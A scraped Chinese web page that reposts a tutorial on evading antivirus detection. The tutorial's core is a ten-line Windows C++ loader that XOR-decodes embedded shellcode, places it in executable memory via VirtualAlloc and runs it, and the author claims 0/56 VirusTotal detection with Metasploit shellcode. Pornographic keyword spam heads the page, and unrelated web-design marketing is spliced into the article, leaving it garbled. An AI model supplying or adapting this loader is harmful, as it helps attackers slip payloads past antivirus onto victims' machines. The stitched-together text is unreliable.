日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
如何利用十行代碼,繞過殺毒軟件實現(xiàn)免殺?

我原本打算寫一篇冗長的博客講述針對不同殺毒軟件的繞過技術(shù),但當(dāng)我開始著手寫教程的***章并上傳樣本到 virustotal 后,我震驚了!樣本得到了 0/56 的檢測率。于是我決定扔掉先前的長篇大論,轉(zhuǎn)而記錄這個快速、令人難以置信的簡單方法。

在蛟河等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供網(wǎng)站制作、網(wǎng)站建設(shè) 網(wǎng)站設(shè)計制作按需求定制設(shè)計,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站建設(shè),成都全網(wǎng)營銷,成都外貿(mào)網(wǎng)站建設(shè),蛟河網(wǎng)站建設(shè)費用合理。

我相信大部分的讀者都會同意這個觀點,繞過大部分殺毒軟件的基本方法都很平常沒什么特殊的。然而,我也偶爾會遇到一些人僅僅依靠工具生成二進(jìn)制文件,這些文件很容易被殺毒軟件通過指紋標(biāo)記出來。本文主要是為這些人所準(zhǔn)備的。

在我們開始接觸這段小巧的 C++ 代碼前,我想先介紹一個可以非常棒的制造免殺的工具 Veil-Evasion (Veil-Framework的一部分)。這個工具非常神奇 (感謝 @harmj0y和他的小伙伴們創(chuàng)建了這個神奇的項目),在幾乎所有情況下,它都沒有讓我失望過。如果有,那我就要批評那些總是不停生成二進(jìn)制文件然后上傳到 virustotal 進(jìn)行測試的人。如果你不這么做,那就會更加美好了。

無論如何,這就引出了一個問題,既然像 Veil-Evasion 這類的工具這么神奇,那為什么你要關(guān)心如何自己在二進(jìn)制文件加入 shellcode?原因有很多:

大牛都很忙而且工具有些過時。

工具生成的二進(jìn)制都擁有相似的指紋,不是指 payload,而是說工具編譯二進(jìn)制的結(jié)構(gòu)有相似的指紋。

作為一個滲透測試工作者,你應(yīng)當(dāng)知道如何做。

在你看下面的代碼前,你應(yīng)該注意到這是針對 Windows 平臺的,很明顯代碼中有 windows.h 的引用。

 
 
 
 
  1. #include 
  2. #include 
  3. int main(int argc, char **argv) {
  4.  char b[] = {/* 插入你經(jīng)過與'x'異或操作后的shellcode代碼,例如:0x4C,0x4F, 0x4C */};
  5.  char c[sizeof b];
  6.  for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
  7.  void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  8.  memcpy(exec, c, sizeof c);
  9.  ((void(*)())exec)();
  10. }

很簡單,上面的代碼創(chuàng)建了一個可以自行添加包含 shellcode 的字符數(shù)組,關(guān)鍵點在于將你的 shellcode 與小寫字母 ‘x’ 執(zhí)行異或操作,然后分配一些內(nèi)存,拷貝字符數(shù)組到分配的內(nèi)存中,***執(zhí)行它。需要特別注意的是,你要先將 shellcode 與你選擇的關(guān)鍵字(本例中為 ‘x’)進(jìn)行異或操作,然后將 shellcode 放入到上面代碼中并編譯。

這時你可能會問“就這樣?”。我了解你的感受,因為當(dāng)時我也是這么想的,在寫完***章內(nèi)容并上傳樣本到 virustotal 后并收到 0/56 的檢測率。我想強調(diào)這是一個令人難以置信的簡單和基礎(chǔ)的技術(shù),但它成功率卻出奇的高。

你生成二進(jìn)制文件的 SHA256 值可能跟我樣本的不太一樣,我樣本中包含的 shellcode 是由 metasploit framework 生成的。


當(dāng)前標(biāo)題:如何利用十行代碼,繞過殺毒軟件實現(xiàn)免殺?
文章轉(zhuǎn)載:http://www.5511xx.com/article/ccecggo.html